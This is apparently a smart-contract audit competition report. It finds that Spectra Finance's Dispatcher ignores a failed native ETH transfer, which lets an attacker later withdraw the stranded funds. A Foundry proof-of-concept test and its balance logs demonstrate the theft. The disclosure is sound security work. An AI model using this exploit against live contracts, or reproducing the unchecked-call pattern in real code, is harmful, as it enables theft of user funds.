#44035 [SC-Low] Lack of validation in native transfer allows attacker to steal user funds
Submitted on Apr 16th 2025 at 08:37:05 UTC by @TECHFUND_inc for Audit Comp | Spectra Finance
Report ID: #44035
Report Type: Smart Contract
Report severity: Low
Target: https://github.com/immunefi-team/Spectra-Audit-Competition/blob/main/src/router/Dispatcher.sol
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
There is no require(success)
or conditional check in Dispatcher.sol contract. This means failed transfers will go unnoticed.
When a native transfer fails (e.g., receiver contract has no receive()
or fallback()
function), the dispatcher does not check the result of the low-level call. This causes the ETH to remain stuck inside the protocol.
Because the protocol does not associate the ETH with the original sender or restrict who can call TRANSFER_NATIVE
, any attacker can later call execute()
and withdraw the stuck funds to their own address. This results in permanent loss of funds for the original user.
Vulnerability Details
Here is the code snippet taken from Dispatcher.sol contract where we have an issue
else if (command == Commands.TRANSFER_NATIVE) {
(address recipient, uint256 amount) = abi.decode(_inputs, (address, uint256));
(bool success, ) = payable(recipient).call{value: amount}("");
//@audit - no validation here on return value !
}
Attack flow
User sends ETH via dispatcher to a receiver contract but the receiver contract reverts due to some reasons.
Transfer fails and dispatcher transaction is successful, but dispatcher contract doesnt return funds.
ETH remains in the Spectra protocol.
Attacker later calls
execute()
withTRANSFER_NATIVE
, using their own address.Spectra Protocol sends the stuck ETH to the attacker through dispatch
Impact Details
Loss of funds for the user. Attacker can steal them
References
https://github.com/immunefi-team/Spectra-Audit-Competition/blob/1cebdc67a9276fd87105d13f302fd77d000d0c0b/src/router/Dispatcher.sol#L483
Proof of Concept
Proof of Concept
Filename: RouterTest1.t.sol
Function: testEtherTransfer()
Run this command forge test --match-contract RouterTest1 --mt testEtherTransfer -vvv
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "src/libraries/RayMath.sol";
import {RouterBaseTest} from "./RouterBaseTest.t.sol";
import {Commands} from "src/router/Commands.sol";
import {Constants} from "src/router/Constants.sol";
import {IERC20} from "openzeppelin-contracts/interfaces/IERC20.sol";
import {console} from "forge-std/console.sol";
contract ReceiverTestContract {
constructor() {}
//@audit - no Receive, fallback function - Contract will revert when ether is transferred here
}
contract ContractRouterTest1 is RouterBaseTest {
using RayMath for uint256;
event RouterUtilChange(address indexed previousRouterUtil, address indexed newRouterUtil);
event KyberRouterChange(address indexed previousKyberRouter, address indexed newKyberRouter);
event Paused(address account);
event Unpaused(address account);
address private constant WETH_WRAPPER_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
function setUp() public override {
super.setUp();
underlying.mint(testUser, FAUCET_AMOUNT * 3);
ibt.deposit(FAUCET_AMOUNT * 2, testUser);
ibt.approve(address(spectra4626Wrapper), FAUCET_AMOUNT);
spectra4626Wrapper.wrap(FAUCET_AMOUNT, testUser);
}
// forge test --match-contract RouterTest1 --mt testEtherTransfer -vvv
function testEtherTransfer() public {
uint256 amount = 1 ether;
address payable sender = payable(address(this));
//@audit - This contract reverts for some reason but this is not handled in dispatcher pp
address receiver = address(new ReceiverTestContract());
address attacker = makeAddr("attacker");
// sender has 1 ether balance
vm.deal(sender, amount);
console.log("----------------------------------------------");
console.log("Initial balances before the Action");
console.log("Sender Balance: ", sender.balance);
console.log("Receiver balance: ", receiver.balance);
console.log("Router balance: ", address(router).balance);
console.log("Attacker balance: ", attacker.balance);
console.log("----------------------------------------------");
bytes memory commands = abi.encodePacked(bytes1(uint8(Commands.TRANSFER_NATIVE)));
bytes[] memory inputs = new bytes[](1);
inputs[0] = abi.encode(receiver, amount);
//Execute
vm.prank(sender);
router.execute{value: amount}(commands, inputs);
console.log(
"Transaction is successful even when Receiver contract reverted. Now Router is still holding the ether"
);
assertEq(address(receiver).balance, 0, "Error: Receiver has received the balance!");
//@audit - Router is holding the ether now
assertEq(address(router).balance, amount, "Error: Router doesn't hold the balance!");
//@audit - Now attacker can transfer this ether to himself
// Build the router execution
commands = abi.encodePacked(bytes1(uint8(Commands.TRANSFER_NATIVE)));
//@audit - attacker gives his own address. ether will be taken from router received through dispatcher receive(), fallback()
inputs = new bytes[](1);
inputs[0] = abi.encode(attacker, amount);
//Transfer the ether
vm.prank(attacker);
router.execute(commands, inputs);
console.log("Transaction is successful: Attacker have stolen the user balance ");
console.log("----------------------------------------------");
console.log("Final balances after the Action");
console.log("Sender Balance: ", sender.balance);
console.log("Receiver balance: ", receiver.balance);
console.log("Router balance: ", address(router).balance);
console.log("Attacker balance: ", attacker.balance);
console.log("----------------------------------------------");
console.log("Sender lost the funds !!");
console.log("----------------------------------------------");
assertGe(address(attacker).balance, amount, "Attacker didn't receive the ether!");
assertEq(address(router).balance, 0, "Error: Router has non zero balance");
assertEq(address(sender).balance, 0, "Error: Sender has non zero balance");
assertEq(address(receiver).balance, 0, "Error: Receiver has non zero balance");
}
}
Here are the logs:
Initial balances before the Action
Sender Balance: 1000000000000000000
Receiver balance: 0
Router balance: 0
Attacker balance: 0
Transaction is successful even when Receiver contract reverted. Now Router is still holding the ether
Transaction is successful: Attacker have stolen the user balance
Final balances after the Action
Sender Balance: 0
Receiver balance: 0
Router balance: 0
Attacker balance: 1000000000000000000
Sender lost the funds !!
Was this helpful?